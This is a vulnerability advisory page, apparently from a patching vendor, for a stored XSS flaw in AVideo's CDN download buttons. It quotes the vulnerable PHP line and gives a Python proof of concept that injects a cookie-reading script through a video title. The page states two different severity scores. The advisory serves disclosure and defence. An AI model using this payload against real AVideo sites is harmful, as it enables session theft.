Get a Demo

Let's Patch It!

Book a short call with one our specialists, we'll walk you through how Endor Patches work, and ask you a few questions about your environment (like your primary programming languages and repository management). We'll also send you an email right after you fill out the form, feel free to reply with any questions you have in advance!

CVE

CVE-2026-33295

AVideo Affected by Stored XSS via Unescaped Video Title in CDN downloadButtons.php
Back to all
CVE

CVE-2026-33295

AVideo Affected by Stored XSS via Unescaped Video Title in CDN downloadButtons.php

Summary

WWBN/AVideo contains a stored cross-site scripting vulnerability in the CDN plugin's download buttons component. The clean_title field of a video record is interpolated directly into a JavaScript string literal without any escaping, allowing an attacker who can create or modify a video to inject arbitrary JavaScript that executes in the browser of any user who visits the affected download page.

Details

At line 59 of the affected file, the following PHP code constructs a JavaScript function call:

downloadURLOrAlertError(url, {}, '<?php echo $video['clean_title']; ?>.' + format, progress);

The clean_title value is echoed verbatim inside a single-quoted JavaScript string literal. No JavaScript-context escaping is applied, such as wrapping with json_encode or htmlspecialchars with appropriate flags. Because the value sits inside a JS string delimited by single quotes, any input containing a single quote character allows an attacker to terminate the string prematurely and inject arbitrary JavaScript expressions. The clean_title field is derived from user-supplied video title input, meaning any user with video creation or editing privileges can craft a malicious title. The injected script executes in the security context of whatever user loads the download page for that video, which may include administrators or authenticated users with elevated privileges.

PoC

import requests
target = "https://example.com"
login_url = f"{target}/user"
upload_url = f"{target}/video/addNew"
session = requests.Session()
session.post(login_url, data={
    "user[user]": "attacker",
    "user[pass]": "attackerpassword"
})
malicious_title = "');alert(document.cookie);//"
session.post(upload_url, data={
    "title": malicious_title,
    "description": "poc"
})

After the video is created, navigate to:

https://example.com/plugin/CDN/downloadButtons.php?videos_id=<TARGET_VIDEO_ID>

The rendered page will contain:

downloadURLOrAlertError(url, {}, '');alert(document.cookie);//.' + format, progress);

Impact

Any user who can create or edit a video can store malicious JavaScript that will execute in the browser of any other user who visits the download page for that video. This includes scenarios where an attacker with a low-privilege account targets administrator sessions. Successful exploitation enables session cookie theft, credential harvesting, and actions performed on behalf of the victim within the application. Because the payload is stored server-side and triggers without further attacker interaction, all users who access download pages for attacker-controlled videos are at risk.

Package Versions Affected

Package Version
patch Availability
No items found.

Automatically patch vulnerabilities without upgrading

Fix Without Upgrading
Detect compatible fix
Apply safe remediation
Fix with a single pull request

CVSS Version

Severity
Base Score
CVSS Version
Score Vector
C
H
U
8.2
-
4.0
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
C
H
U
0
-
C
H
U
-

Related Resources

No items found.

References

https://github.com/WWBN/AVideo/security/advisories/GHSA-gc3m-4mcr-h3pv, https://nvd.nist.gov/vuln/detail/CVE-2026-33295, https://github.com/WWBN/AVideo/commit/30cdd825fa5778c1d678c2402be2413b84ee4833, https://github.com/WWBN/AVideo

Severity

5.4

CVSS Score
0
10

Basic Information

Ecosystem
Base CVSS
5.4
EPSS Probability
0.00012%
EPSS Percentile
0.01729%
Introduced Version
0
Fix Available

Fix Critical Vulnerabilities Instantly

Secure your app without upgrading.
Fix Without Upgrading